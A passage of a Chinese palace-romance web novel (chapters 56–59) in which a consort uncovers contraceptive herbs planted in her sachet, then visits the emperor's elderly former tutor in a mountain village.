丰熙脸色难看,“娘娘走后,奴婢让宫人进寝殿打扫,那宫人从未进过内殿,紧张之下毛手毛脚的,刮坏了帐子上的香囊,露出里边香料。奴婢记得这香囊里装的是桂花,可打开一看,才发现多了几味药。” “什么药?” 丰熙垂着头,嗓音发涩,“麝香、红花、桂枝……” 都是些不易女子有孕的药物。 云镜纱神色淡了,眸光一点点暗下。 她这么期待怀个孩子,结果竟在宫中发现了这些东西,如何不令人恼怒。 尹寻春懂些浅薄医理,闻言大惊,“奴婢这就去请太医!” 不等云镜纱应声,她风风火火跑了出去。 芳音恨声,“谁这么心黑,这么害娘娘!” 她猛地抬头,咬牙道:“贵妃,一定是贵妃!她自己不争气,便想着法子害娘娘!” 方才还在想舒裳晚从未暗中对她动过手,转眼就在宫里发现了害人的东西。 这样看来,的确是舒裳晚的可能最大。 可云镜纱并未被愤怒冲昏头脑,“这香囊都经了谁的手?” 丰熙虽掌管着玉华宫,可这等贴身之事向来是尹寻春和芳音接管。 芳音跪在丰熙身侧,咬唇告罪,“奴婢这就去查。” 得到云镜纱首肯,芳音匆匆出去。 听到她训斥宫人的声音,云镜纱扶起丰熙,安抚道:“这不怪你,害人的手段防不胜防,咱们又不是神仙,哪能时时洞察?” 丰熙动唇,“娘娘……” 云镜纱对她笑了下,“芳音虽机灵,但威严不足,你去帮帮她吧。” 知道娘娘这是并不怪罪的意思,丰熙内心动容,重重应声,“是。” 屋内只剩云镜纱一人,她脸上的笑渐渐落下,眸光晦暗不明。 宫中只有她和舒裳晚两个妃嫔,一旦其中一个出事,另一个一定拥有最大的嫌疑。 纵观舒裳晚行事,不像是在背地里耍阴招的人。 但也有可能,她知道了她给她下药,暗中做下此事。 可云镜纱觉得不像。 那药是尹寻春亲自去下的,以她的身手,不太可能被发现。 若不是因为她,那就是汤里的药被发现了。 可这也说不通。 能细心发现汤里有药的舒贵妃,会那么鲁莽地对她恶语相对,动辄罚跪吗? 云镜纱拧起眉。 以往不觉,现下才发觉,舒裳晚这个人可真是别扭。 如果不是她,这事又是谁做的? 直到尹寻春带着太医回来,云镜纱依旧没理清思绪。 “娘娘,奴婢回来了。” 尹寻春的声音由远及近,她拉着一人冲进殿内,“姓何的,你快给娘娘看看。” 云镜纱抬眼,眉尾蓦地一扬。 被尹寻春扯住的人一身素色长袍,腰系丝绦,胸膛起伏,明显是一路急奔而来。 他生得高挑,一眼看去五官虽平常,但组合在一起,是一种带着韵味的好看。 竟是个颇有气韵的年轻人。 他手腕挣了挣,待尹寻春松了手,敛了眸光,男子用袖子擦去额上热汗,恭恭敬敬地对云镜纱行礼。 “微臣何呈光,拜见婕妤娘娘。” 云镜纱饶有兴致地端详他。 寻春起初为她挑选的大抵便是眼前这人,后来又换了一个,这阵子请平安脉,来的都是岳太医。 今日不知为何,来的却是他。 何呈光眉眼不动,可见心思沉稳。 云镜纱嗔了尹寻春一眼,“毛毛躁躁的,也不怕把何太医给摔了。” 何呈光眉头微动,语气不变,“臣无事,尹姑娘也是忧心娘娘贵体。” 尹寻春朝他翻了个白眼,不客气道:“他皮糙肉厚的,摔不疼的。” 再说了,以她的身手,还能摔了他不成? 云镜纱去看何呈光,只见他眉眼不动,明显是习惯了。 倒是有些意思。 云镜纱没再管尹寻春,给她递了盘果子,让她上一边歇着去。 “有劳何太医了。” 她伸出手腕。 何呈光瞥了眼尹寻春,余光映出她吃着果子,眼睛紧张地盯着云镜纱的模样,长睫微敛,垂首诊脉。 片刻后,他道:“娘娘脉象从容和缓,不浮不沉,是康健之象。” 云镜纱收手,含笑问:“近日接触了几味药,不知可于子嗣有碍?” “是何药物?” 云镜纱一一说了。 何呈光了然,看来是接触到了宫闱秘辛。 “娘娘接触时日尚短,并无大碍。若不放心,臣写几张药膳方子,娘娘调理几日即可。” 云镜纱颔首,“有劳。” 等何呈光写完方子,云镜纱道:“寻春,替我送送何太医。” “哦。” 尹寻春不情不愿地放下果子,走到何呈光身边瞪他一眼,语气不太好,“走吧。” 何呈光作揖,随她出去。 “娘娘。” 丰熙和芳音齐齐进来,后者道:“奴婢在一个名叫鸳鸯的小宫女屋里搜出了这些。” 她解开帕子,露出里头几味药材。让云镜纱看清楚后,芳音便把东西收了。 “鸳鸯?” 此人云镜纱有些印象,似乎是个沉默寡言,老实本分的宫人。 她平日里负责云镜纱衣物香包之类,倒是能接触到那枚香囊。 “可问出她 受何人指使?” 丰熙摇头,“无人指使。据鸳鸯所说,她有个同乡姐姐生得有几分姿色,自恃美貌,对陛下起了心思。谁知被贵妃娘娘看出来了,那位同乡被贵妃娘娘当众责骂,羞怒之下投了井。” 芳音一脸一言难尽,“鸳鸯与她感情好,替同乡姐姐嫉妒娘娘得陛下欢心,便想出了这招。” 云镜纱:“……” 她不知该说什么。 “……你们信?” 丰熙和芳音齐齐摇头。 这么荒谬,当然不信。 云镜纱揉了揉眉心,“再去查,鸳鸯和哪些人有交集。” “是。” 二人走后,云镜纱望着窗外斜阳,沉沉叹了声气。 晚上药膳被呈上桌。 孟桓启见了,疑声问:“这是什么?” 云镜纱在盛汤,“太医院的何太医开的方子做的药膳。” “哪里不舒服?” 孟桓启一听就皱了眉。 云镜纱把汤放到他面前,垂睫小声,“没有不舒服,只是小日子快到了,想调理调理。” 孟桓启轻咳一声,挪开视线,“要什么只管吩咐。” 云镜纱弯唇,“好。” 拾掇完上榻,正想着事,陡然听他问:“还有几日?” “什么?” 云镜纱茫然。 孟桓启不自然道:“月事。” 云镜纱觉得好笑,“五六日吧。” 虽想早些有孕,但这次她觉得希望不大,若是来了月事,起码得有五六日不能同房。 他们已经好几日没有亲密过了。 这么一想,云镜纱有些意动。 身子还未挨过去,就听孟桓启道:“明日下朝后,朕派人来接你。” 云镜纱意外,“陛下要做什么?” 孟桓启:“带你出宫。” “出宫?” 第57章 云镜纱醒来时孟桓启还未下朝。 丰熙捧着衣物进来,“娘娘,这是陛下派人送来的。” 云镜纱拉长音调,懒懒“啊”了一声。 等接过芳音递来的湿帕子擦了脸,彻底醒神后,云镜纱又往丰熙那边看了眼。 昨晚问孟桓启出宫去哪儿,他一个字也没吐露,只说带她去见一个人。 问他什么人也不说,神神秘秘的。 云镜纱没多问,无论什么人,等见到就知道了。 估摸着孟桓启快下朝了,她匆匆吃了点早膳。 喝了小半碗粥,又吃了两块糕点,高德容亲自来请云镜纱,“娘娘可拾掇好了?” “好了。” 云镜纱用帕子擦了唇角,起身朝高德容走去。 高德容看了眼站在她身后的三人,笑道:“几位姑娘留在宫中,只娘娘一人去便可。” “好。” 云镜纱点头,转身叮嘱几句,在尹寻春几人的目送下,随高德容悄悄离开玉华宫。 引着云镜纱上了宫门外的一辆低调的青布马车,高德容道:“娘娘歇息片刻,陛下马上就到。” 云镜纱颔首,“有劳公公。” 马车外表看着虽然不起眼,但内有乾坤。 空间宽阔,软榻矮桌茶水糕点一应俱全。 目光转了一圈,云镜纱还瞧见了几本话本子。 早膳匆匆吃了几口,并未饱腹,她两指拿了块糕点慢悠悠吃着。 几块糕点下肚,云镜纱给自己倒了杯茶。 这茶才上没多久,淡淡雾气随着倾倒的茶水蔓延开。 云镜纱吹着茶沫,轻轻抿了一口。 喝完小半杯茶,车门忽地被打开,孟桓启弓着身子钻进来。 连忙放下茶盏,云镜纱笑着唤他,“陛下。” “等很久了?” 孟桓启在她身侧坐下。 云镜纱摇头,“没,我也才到没多久。” 瞧了眼矮桌上明显消失一小半的糕点,孟桓启并未拆穿她,“嗯”了一声,吩咐道:“出发吧。” 车外响应一声,马鞭甩动时发出的破空声与马儿的嘶鸣齐齐传入云镜纱耳中。 “时辰还早,困了就睡吧,到了朕再唤你。” 不说便罢,孟桓启这话一出口,云镜纱还真感觉到困顿。 她点头应了,随后毫不客气地枕着孟桓启的腿躺下。 孟桓启目光一顿,大手放在云镜纱头上,带着哄诱的意味,有一下没一下地摩挲着。 云镜纱这一觉睡得很沉,再有意识时,迷迷糊糊听见马车外的喧闹声。 长睫颤动,她睁开眼。 她一动孟桓启便发现了,低声道:“醒了?” 云镜纱含糊“嗯”声,坐起身来。 吵闹声越发明显,她揉着眼睛问:“这是哪儿?” 孟桓启:“快出城门了。” 出城门? 云镜纱意外。 竟要出城吗? 她将车窗开了个小缝,隔着缝隙看出去。 巍峨城门矗立在不远处,马车排在队伍中,前后都有百姓。 有的明显是做农人打扮,挑着担子擦汗,黑黝脸上一片憨厚老实。有的衣着整洁得体,手里挎着的篮子装得鼓鼓的,瞧着像是要去探亲。还有的挑着扁担一路叫卖,哪怕被晒红了脸,汗如雨下,面上依旧带着笑。 谈话声齐齐涌入耳中,竟让云镜纱产生了恍如隔世之感。 进宫不过两个多月而已,偶然一见宫外生活,记起未进宫前的日子,却让她感觉那仿佛是上辈子的事。 皇宫是威严肃穆又安静的,玉华宫内有尹寻春和芳音算不得寂静,但也比不上这份热闹的烟火气。 云镜纱一时看得入了迷。 孟桓启冷不丁问:“喜欢宫外?” 语调听不出异样,似是随口一问。 云镜纱回头,却望见一双黝黑深沉的眼。 眼睛的主人紧紧盯着她,长睫一动不动。 云镜纱蓦地一笑,“只是稀奇而已。说来也怪,我分明在宫外生活了十八年,可入了宫再出来,却觉得格格不入。” 孟桓启不自觉松了口气。 握住云镜纱的手,他道:“以后有机会,朕再带你出来。” 云镜纱柔柔笑着,“好啊。” 等了片刻,终于放了行。 马车出了城一路向东行。 穿过一片林子,又越过几座山,最后进了一个隐在大山背后的小山村。 村口种了一棵老槐树,树叶苍翠碧绿,被阳光照得发光。 阳光灿烂,蝉鸣声不绝于耳,树下一群孩童正在爬树抓知了。见马车驶入村子,孩童们一窝蜂散开,大声嚷嚷。 “马!那是马车!” “哇!好威风的马!” 孩童们齐齐奔到马车旁,一双双眼睛好奇地打量着。 有个年纪稍大的孩子盯着驾马的武稷看了两眼,恍然大悟地叫嚷着,“这个叔叔我见过!他是来看容夫子的!” 这话一出,其余孩子也想起来了,“是容爷爷的孙子来了!” 有机灵的拔腿就往村里跑,边跑边嚷嚷,“容爷爷,有人来看你啦!” 容夫子?难不成就是他们此行要见的人? 听着车外孩童们的叫声,云镜纱暗自思量。 村里屋舍挨得近,到处都有村人走动,怕不小心冲撞了人,武稷驾马的速度放慢,导致一群孩子欢呼雀跃地跟着马车到了一户人家外。 武稷打开车门,“公子,夫人,到了。” 孟桓启率先下了车,牵着云镜纱下来。 面前是座小院,北面三间宽敞厢房,东西各有两间屋子,南面用竹篱笆围着,院内栽了许多绿植花卉,有好几种云镜纱只在书上见过,有的连名字都叫不出。 院门开着,屋内响起脚步声,一名老人走了出来。 老人身材略显消瘦,穿着普通农人的短褐,白发用布巾包着,年纪虽大,但精神矍铄,腿脚利索。 见了孟桓启,他苍老的脸上露出笑,快步迎来,“方才听见孩子们在叫唤,便知道是你来了。” 孩童们见了他,个个都带着笑,叽叽喳喳的吵成一团。 “容夫子好。” “容爷爷好!” “容爷爷,你的客人到了,我们就先走了。” 年纪最大的孩子 礼貌告别。 容夫子笑着从怀里掏出用巾子包裹的糖,“拿去分吧,路上小心,可别乱跑。” “谢谢容爷爷!” “容夫子真好!” 孩童们抓了糖,道了谢,嘻嘻哈哈笑着跑远。 容夫子笑着收回视线,这才注意到站在孟桓启身边的云镜纱。 她穿着孟桓启准备的衣裙,霁青色暗纹素衫,下着是孔雀绿罗裙,一半头发编成辫子,剩下的与绿色丝带一同垂在肩上,简单清爽,清新秀雅。 孟桓启今日罕见地没着玄衣,而是穿着松石色窄袖长袍,发上一支白玉簪子,腰上系着一块玉佩。 两人的容貌都格外出色,站在一处十足相配。 目光在二人身上打转,容夫子苍老的脸上笑意止都止不住,一连说了三声“好。” “这一路上累了吧,快进去歇歇。” 招呼三人进屋,转身的刹那,容夫子飞快拭去眼角的泪。 云镜纱随孟桓启一道进屋,武稷转去安顿马车。 屋里被收拾得很干净,整齐有序,看得出主人是个很严谨又很会生活的人。 引着两人落座,容夫子去取了茶,亲手泡上。 他一露手,云镜纱便眨了眨眼。 这一手漂亮的功夫,也不知练了多少年。 这位容夫子看着是个农人,但从谈吐和居所来看,倒像是个雅致的文人。 泡完茶,容夫子亲手给云镜纱递上,“这是自己种的,算不上好茶,也就让你们尝个鲜。” 压下好奇,云镜纱双手接过,唇角带着温柔友善的笑,“多谢。” 容夫子笑得越发慈祥,“好孩子,若是不介意,你唤我一声容爷爷吧。” 云镜纱去看孟桓启,见他点了头,这才道:“容爷爷。” 容夫子笑得眼睛眯成一条缝,“诶。” 他从怀里拿出一物放在云镜纱手里,“头一次见面,爷爷没什么好礼送你,也就这东西勉强能拿出手。” 东西落在云镜纱手心,丝绸帕子散开,露出一只翡翠镯子。 那镯子质地细腻,色泽鲜亮,内里飘花,仿佛一片翠色云彩,通透无瑕。 竟是难得的玉精。 云镜纱摇头,“这太珍贵了,我不能收。” 容夫子摆手,“这东西我拿着也没用,收着吧。” 孟桓启看了眼那只镯子,又看向面色为难的云镜纱,轻启唇,“收下吧。” 云镜纱偏头看他,这才收下镯子,“多谢容爷爷。” 容夫子笑着摆手,“喜欢就好。” 他转身落座。 孟桓启饮了口茶,询问老爷子近段时日的身体状况,“您最近的身体如何?” 容夫子面上挂笑,“我好着呢,能吃能睡,能陪小梅再活十年,看着你的孩子出生长大。” 云镜纱还未来得及为“孩子”羞涩脸红,一只白色小猫蓦地跑进来,跳上容夫子膝头,脑袋亲昵地蹭着他。 容夫子好笑地摸着小猫的脑袋,“耳朵这么尖,又听到我叫‘小梅’了?” 小梅懒洋洋地“喵”了一声,整只猫趴在容夫子腿上。 孟桓启撩起眼皮盯着那只小猫瞧,“它叫小梅?” “是啊。” 容夫子笑着说:“它出生的时候村里的梅花开了,索性以梅做名,唤它小梅。” 云镜纱饮了口茶,老爷子倒是好雅兴。 茶水一入口,她惊讶地掀了掀长睫,下意识朝容夫子看去。 清淡又醇香,竟不比宫里的差。 注意到云镜纱的视线,容夫子朝她看来,笑呵呵道:“若是喜欢,临走前我给你们装一些,带回去喝。” 云镜纱的确有些喜欢,红着脸道:“那我就厚着脸皮问容爷爷讨要了。” 容夫子笑声爽朗,“行,要多少有多少。” 一聊起来便忘了时辰,直到小梅喵喵直叫,容夫子才一拍大腿起身,“该准备午膳了,小启,你来给我生火。” 第58章 小启? 这个称呼让云镜纱意外,下意识朝孟桓启看去。 他面无波澜,耳后根却透着微红,垂着长睫站起。 云镜纱眼里的笑如涟漪荡开,似一片波光荡漾的湖泊。带着热浪的微风吹来,她目光一定,笑意散去。 见孟桓启已经随容夫子出门去了,云镜纱抿抿唇,提着裙子跟了上去。 厨房建得很是宽敞,架子上放着好几个簸箕,孟桓启坐在灶台后,手里拿着干草正在点燃。火折子的光映照在眉眼,一双黑眸亮如繁星。 云镜纱立在门口,颇有些惊奇地看着眼前的场景。 从来没想过,独坐高台的人间帝王,竟还有这般平凡的一面。 孟桓启显然不是第一次生火,动作熟练地把干草放在灶膛里,又选了几根柴火放进去。 灶膛内燃起熊熊大火,火光在孟桓启脸上跳跃。 云镜纱安静看了会儿,抬步进去,轻声问:“需要我帮忙吗?” 正在摘菜的容夫子闻言,头也未抬,含着笑音道:“里边这么热,姑娘家就别进来了,让小启帮我就好。” 孟桓启赞同,“油烟大,你出去玩会儿,饭好了我叫你。” 云镜纱摇摇头,走到孟桓启身边,“你们都在忙,就我一个闲着,那多不好。” 孟桓启眉眼不动,“武稷也闲着。” 话音刚落,武稷的身影出现在门口,“公子,夫子书墅上的瓦裂开了,臣……正好我在,我去修屋顶。” 孟桓启:“……去吧。” 云镜纱忍俊不禁。 正要坐在孟桓启身侧,他伸手拦了一下,把长凳上的灰尘扫干净,垫上自己一片衣角,这才让云镜纱坐下。 眼里溢出笑,云镜纱挽住孟桓启手臂,小声问:“我还以为夫子只是敬称,原来容爷爷还真是夫子啊?” 孟桓启点头,“村里会识字的人少,若是请夫子,少不得费一番功夫,正好老爷子闲不住,便揽下了这事。” 云镜纱了然,“我看容爷爷还挺喜欢孩子的。” 孟桓启眸光微怔,轻轻点了下头。 虽只有极为短暂的一瞬,但云镜纱还是感受到了他莫名低落的情绪。 她歪着头,略显困惑。 这话何处不对吗? 柔软布料在脸上摩挲,孟桓启擦了擦云镜纱被火烤得微红的脸,低声道:“此处热,你先出去,听话。” 云镜纱伸手点去他额角的汗珠,“你不热吗?” “尚可。” 孟桓启回了一句。 本想装作不存在的容夫子无奈叹气,扬声道:“丫头,来我这儿。大白天的,你们小两口等晚上回去再腻歪。” 云镜纱本就泛红的脸越发红了,噌一下站起,快步朝容夫子走去。 离灶膛远了,可被火光照耀的灼热感却如影随形,烧得她两颊发烫。 低头来到容夫子身侧,云镜纱忙去接他手里的簸箕,“容爷爷,我来吧。” 见她动作熟练择菜,容夫子略有意外,“丫头会下厨?” 云镜纱笑着点头,“容爷爷,我姓云,名镜纱。” “我在乡下住了许多年,寻常的活计都会的。” 容夫子了然,“原来如此。” “容爷爷若是不介意,我待会儿给您露一手。” 容夫子摆手摇头,笑着婉拒,“有男人在,哪用得着姑娘家亲自动手。坐了一路马车,想必你也累了,好好歇着,让爷爷显摆显摆手艺。” 云镜纱莞尔,“那我就却之不恭了。” 容夫子笑眯眯地把摘好的菜送去清洗。 菜备好后,他起锅烧油,动作熟练地炒菜,没多久,几盘热气腾腾的家常菜出锅。 四菜一汤,两荤两素,色香味俱全。 容夫子净了手,“小启,去把小武叫回来吃饭吧。” 孟桓启:“好。” 他打了水,把手上污渍冲洗干净,抬步往外走。 没走两步,竹篱笆做的院门被推开,武稷走了进来。 容夫子笑,“真是赶巧了,小武回来的正好,快去净手吃饭。” 武稷点头。 容夫子的手艺的确很不错,许久没吃这种烟火气十足的饭菜,云镜纱没忍住多吃了小半碗。 吃完饭,武稷主动洗了碗筷,“公子,老爷子,屋顶还剩了些没修完,我先去了。” 孟桓启起身,“我随你一道。” 云镜纱惊讶之下正要跟上,容夫子笑着把她叫住,“丫头,来陪老头子说说话。” 孟桓启回首,“我一会儿就回。” 云镜纱乖巧点头,“好。” 目送二人出了院子,一回头,却见容夫子 正往外搬椅子,云镜纱忙上去帮忙。 两张竹椅之间搁了一小张竹制方桌,上头摆着茶水,容夫子慢条斯理倒了杯茶,幽幽叹气,“丫头,你也太听话了。” 云镜纱:“啊?” 容夫子半躺着,竹椅发出咯吱咯吱的响声,他饮了小口热茶,抬头望天,“这样可不行。女子柔顺虽好,可男人若是习惯了,便会习惯性地忽视你,打心底里觉得你性子柔,委屈一次算不得什么,毕竟你乖顺懂事,能理解他的苦衷。一次次下去,最后受委屈的只会是你自己。” 他偏过头,朝云镜纱眨眨眼,“有时候,你也得硬起来,让他知道你不是好欺负的。这样,他才会把你的感受放在心上。” 老人动作灵敏,调皮中有些可爱。 云镜纱哭笑不得,这是在教她如何驭夫? 嘴角抿出笑,她道:“容爷爷还知道这些?” 容夫子摆手,语气惆怅又夹杂了些骄傲,“都是你奶奶教的。” 老爷子一个人住在此处,可想而知,他的妻子应当早已仙逝。 云镜纱歉疚道:“对不住。” “这有什么,她都不在几十年了,现在想起她,脑子里都是年轻时和她吵闹的日子。” 容夫子摇着蒲扇,怀念十足,“那个时候,可真好啊。” 一时起了谈兴,容夫子和云镜纱说起当初和妻子的故事,她侧着身子安静听着。 孟桓启一进院门,便见她白皙恬静的侧脸。 听见院门打开时发出的声响,容夫子止了话音,惊讶道:“这么快就修好了?” 云镜纱侧眸一看。 男人衣袖卷到手肘处,肌肉线条流畅的小臂蹭了几块黑灰,衣摆破了个口子,罕见狼狈。 见孟桓启点头,容夫子赶忙道:“瞧你那一身,快去洗洗。” 孟桓启拉着云镜纱就走,“我去屋后小溪清洗。” 容夫子笑骂,“洗就洗,带你媳妇去做甚?” 脸上带笑,他转向武稷,温和道:“小武啊,快去擦洗吧。” 武稷沉默点头。 …… 金灿灿的阳光透过树荫缝隙,在地面留下一道道跳跃的光斑。 云镜纱一手置于额前遮挡太阳,微眯着眼睛跟随孟桓启的脚步,“陛下,我们要去哪儿?” 话音刚落,耳畔已响起了溪水哗啦啦的奔腾声。 孟桓启低声,“快到了。” 穿过小片林子,水声越发大了,目光一抬,眼前豁然开朗,一条小溪映入眼帘。 小溪自山上流淌而下,两侧均是林木,树荫茂密凉爽,溪水干净清冽,有落叶漂浮于水面顺流而下。 孟桓启松开云镜纱的手,脱下外袍垫在巨石上,感受一下石上温度,这才让她坐下。 “此处阴凉,你歇一歇,我很快就好。” 他脱了靴,挽起裤脚,涉水而下。 云镜纱两手撑在石上,歪头看着他的背影。 她弯腰脱了鞋,白嫩漂亮的双足缓缓浸入水中。 溪水冰凉,云镜纱舒服地眯了眼。 水声哗啦,有水珠溅在手背。她躲了躲,掌下蓦地摸到一处凸起。 “咦?”云镜纱疑惑,“这是什么?” 仔细感受,好像是个瓶子,也不知里边装的是什么。 她正要把东西拿出,一阵水浪翻涌,水珠打湿了云镜纱的鬓角。 孟桓启半伸着手,修长五指间有水流淌下。 “陛下!” 云镜纱气,足下用力一踢,溪水朝着孟桓启而去,落在他肩膀发间。 擦了把脸,孟桓启朝云镜纱走去。 她急忙起身,却慢了一步,被人擒住手腕拉入怀中。 孟桓启低头看她,“生气了?” 云镜纱别开脸,瘪着唇小声道:“您是九五之尊,我哪敢和您生气。” “还说没生气。” 沾了水的指尖点在云镜纱鼻尖,水珠飞快坠落,不留痕迹。 低沉的嗓音带了笑,“气性这么小。” 云镜纱半真半假道:“我气性就是小啊。陛下若是惹我生气,我定是要报复回去的。” 孟桓启笑问:“如何报复?” 哗啦一声巨响,水柱从天而降,齐齐砸在孟桓启头顶,湿了乌发。 手上一松,怀里的姑娘趁机跑开,站在几步之外对他笑眼弯弯,“这样。” 孟桓启抹了把脸上的水,大步朝她走去。 云镜纱叫了一声,弯着身子以手做勺朝他泼水。 又被兜头淋了一身,源源不断的水珠从发尾滴落坠入溪流。 孟桓启又抹了把脸,坚定走向她。 云镜纱正欢快地弯着腰玩水,一时之间竟未发现他已靠近,无意间抬头时吓了一跳,慌乱起身。 谁料脚下打滑,她“啊”地尖叫,身子不受控制地往后仰。 “哗啦——” 水花四溅。 没感觉到疼,云镜纱皱着的脸渐渐松开,沾了水珠的湿润长睫缓缓掀起。 一张脸近在迟尺。 孟桓启全身都湿透了,一头墨发湿哒哒地落在肩上,他一手放在她脑后,一手握住她的腰,两人齐齐倒在溪流间。 水珠从他脸上坠落,“啪嗒”砸在云镜纱唇上,仿佛通过那张唇重重落在心上,令她心跳一下重过一下,仿若擂鼓。 淙淙溪流从身侧流淌,水声近在耳畔,却抵不过她的心跳声。 她仰头,呆呆地看着眼前的男人。 孟桓启也在看她。 乌发飘在水面,好似绸缎般细润有光泽。 丰姿韶秀的姑娘眼眸湿润,眉眼秀丽,令他不禁想擦干她唇上水渍。 他低头吻上。 第59章 “呀,怎么湿成这样?” 容夫子一脸惊讶地瞧着走进院里的两人。 孟桓启浑身上下都湿了,头发散乱地披在背后,身后留下一道浅浅水渍。 他脱了外衣把云镜纱牢牢裹在怀里,旁人只能看见一只红透了的耳朵。 孟桓启沙哑着嗓音,“不小心掉溪里了。” “我带她去换衣服。” 语毕,他匆匆抱着云镜纱进了屋。 容夫子这儿留有孟桓启的屋子,即便他一年也住不了几晚,但屋内干净整洁,被子上留有一股阳光般干净温暖的气息,可见在他们来之前便有人收拾妥当。 放下云镜纱,孟桓启勾起贴在她脸上的湿发,手指摩挲了下她微烫的面颊,视线从她红润微肿的唇瓣上越过,哑声道:“衣服脱了上床上去,我去给你烧热水。马车上备有新的衣物,洗个热水澡再换上。” 这天虽然不冷,但毕竟还是在溪水里滚了一遭,那水有些凉,若是染了风寒可不好了。 云镜纱红着脸点头。 等孟桓启出去,她舒了口气,手指抚上滚烫饱满的嘴唇。 灼热的触感仿佛仍在唇上挥之不去。 她不自在地抿了抿唇。 他方才吻得很重,与以往的温柔截然不同,眼里裹挟着让她心跳加速的潮涌,一点一点舔舐,仿佛要将她吞吃入腹。 微风从窗户缝隙涌进,云镜纱打了个抖,脸上热度逐渐褪去。 解开孟桓启披在她身上的外袍,手一滑,衣衫落地,同时响起“啪”的一声。 云镜纱蹲下身,在孟桓启的外衣里摩挲,摸到一个小瓶子。 摇了摇,里边有东西滚动。她拔出木塞,把瓶子倾斜,几颗药丸顿时滚入白嫩掌心。 云镜纱拧眉看着手心里的褐色药丸。 好端端的,为何要随身携带这东西? 这药丸是治什么的? 她凑近仔细嗅了两下,一头雾水。 想了想,云镜纱把药丸装回瓶子,留了一颗找出帕子包好,妥善收起。 随 后她脱下湿衣服,钻进床榻里把自己包裹得严严实实。 正出着神,孟桓启拎着木桶进来了。 两桶满满当当的水,他提得稳稳当当,如履平地,连一滴水都没洒。 “先洗个澡。” 云镜纱惊讶,“水这么快就烧好了?” 孟桓启:“嗯。老爷子帮忙烧的。” 云镜纱有些愧疚,“容爷爷年纪这么大了,还得麻烦他动手。” “他闲不下,给他找些事做也好。” 孟桓启绕进屏风后,把水倒进浴桶,转身大步走出内室。 云镜纱看了眼阖上的窗,在等孟桓启回来还是先去沐浴之间犹豫。 四周也没有能遮挡的东西,她抿抿唇,料想这屋除了孟桓启也没人能进,小心翼翼松开被子,慢慢下了床。 走到半路,房门忽然被人推开,她整个人都僵住了。 推门进来的孟桓启也愣了,目光跟黏在云镜纱身上似的,怎么也分不开。 一身雪肤染上粉色,云镜纱咬唇含羞带怒地嗔怪,“陛下怎么不敲门!” 孟桓启猛然回神,一把将门关上,大步朝她走去。 黑眸里涌动的暗光令云镜纱一颤,不自觉后退一步,侧开眸子掩饰慌张,“陛、陛下。” 孟桓启在她面前站定,声若碎玉,“进自己的屋子,为何要敲门。” 在他极具侵略性的目光下,云镜纱脸慢慢红了,缩着肩膀侧了下身子。 “躲什么?” 灼热掌心握住双肩,滚烫热度令云镜纱心尖一颤。 “很好看。” 喑哑嗓音在耳畔回响,云镜纱脸上热度更甚。 下一瞬,她蓦地腾空,被人拦腰抱着大步走向浴桶。 …… 沐浴完穿好干净衣服,云镜纱在原地站了会儿,迈着略带酸软的腿走了两步。 日头还没落,孟桓启站在院里拿着锄头,在容夫子的指挥下蹲下锄草。 云镜纱靠在门上安静看着他,目光温柔而幽深。 一通忙活,孟桓启额上沁出汗珠,云镜纱捏着帕子,踮着脚尖为他拭汗。 他垂眸看她,把她的手放在手心揉搓。 不一会儿,武稷也回来了。 容夫子给他打水洗漱,等他歇息完,躺在竹椅上摆手,“行了,天色不早,快回去吧。” 云镜纱惊讶,“这就走了?” 容夫子乐呵呵的,“是啊,晚了城门得关了。” 这倒也是。 接收到孟桓启眼神的武稷去牵马。 孟桓启走到容夫子身旁,取出一物,“今年的。” 容夫子笑着接过,用手摩挲着,感觉是本书的形状,脸上笑意愈甚,目光温柔,“好,好,乖。” 第一次听见有人用“乖”来形容孟桓启,云镜纱新奇不已。 下一瞬,只见容夫子朝她招了招手,“丫头,快过来。” 云镜纱乖顺走过去,“容爷爷。” 干燥温暖的手牵住她,与另一只修长的手掌交叠在一处。 容夫子看着两人交握的手,眼里闪烁着泪光,“好,好孩子,你们要好好的,好好的。” 他认真叮嘱,“夫妻之间最忌隐瞒,无论什么事,你们好好商量,这日子啊,一定会和和美美的。” 云镜纱暗嘲,她瞒着孟桓启的事这么多,若是和他商量,保不准隔日就没了脑袋。 再者,她和孟桓启算什么夫妻?不过,她会努力朝着这个目标奔进就是了。 面上越发乖巧,“好。” 容夫子又看向孟桓启,“今年不必再来了,知道你们过得好,我便心满意足了。” 孟桓启张了张唇,“等……来日,我接您回京。” 容夫子笑着摇头,“这里挺好的,风景秀美,人杰地灵,能在这里终老,再适合我不过了。” 孟桓启嘴角绷直。 马蹄声哒哒,容夫子瞧见了牵马过来的武稷,松开手,笑道:“去吧。” 孟桓启牵着云镜纱后退,锋锐的视线一点点变为柔和,“您保重。” 云镜纱嗓音温软,“容爷爷,我们下次再来看您。” 容夫子嘴角含笑,“好。” 登上马车,云镜纱开了窗朝容夫子挥手,在他含笑目光注视下,马车徐徐驶离这座农家小院。 等瞧不见人影,云镜纱才关了窗。 她虽好奇容夫子的身份,但孟桓启没说,她便不问。另起了个话题,“陛下方才给了容爷爷什么东西?” “书。” “书?”云镜纱眨眼,“什么书?” 孟桓启拉过她的手,手指挤进她指缝,与她十指相扣,嗓音略显懒散,“老爷子嗜书,每年他生辰,我都会为他寻一孤本。” 云镜纱恍然大悟,怪不得今日带她出宫呢,原来是容夫子生辰。 等等,生辰? 云镜纱嗔怪道:“陛下怎么也不提前与我说一声,我都没准备生辰礼。” 孟桓启漫不经心道:“我送的,不也是你送的?” “这哪能一样。” 云镜纱蹙眉,“第一次见面容爷爷便送了我那么贵重的礼,他的生辰我什么也没送,这像什么话。” 孟桓启摸了下她的头,“无碍,下次补上便可。” 云镜纱嗔他一眼,“当然只能下次补上了。” 那一眼媚气横生,娇俏灵动。 孟桓启心中一紧,把她揽进怀里,不去看那双眼睛。 “还早,可要再睡会儿?” 云镜纱下巴在他胸膛蹭了蹭,娇声嘟囔,“现在睡了,晚上该睡不好了。” 孟桓启没说话。 虽是这么说,但武稷驾车极稳,孟桓启的怀抱安逸舒适,云镜纱终究还是睡着了。 醒来时马车已驶入京城,天色将暗未暗,华灯初上,琉璃灯明亮华美,映照着一张张或闲适或忙碌的脸。 香味从窗外飘进来,云镜纱下意识摸了摸肚子。 “醒了?” 头顶传来沙哑磁性的嗓音,声音的主人或许也是刚醒,尾音带着浅淡慵懒。 瞧见云镜纱的动作,孟桓启问:“饿了?” 云镜纱含羞点头。 孟桓启:“寻家酒楼停下,用了晚膳再回。” 武稷:“是。” 片刻后,马车停在一间酒楼前。 装饰不算豪华,胜在干净简朴,跑堂小二衣着整洁,看得出主家是个将就的。 孟桓启带着云镜纱上了二楼,点完菜,对武稷道:“去隔壁再开一间,你自己吃。” 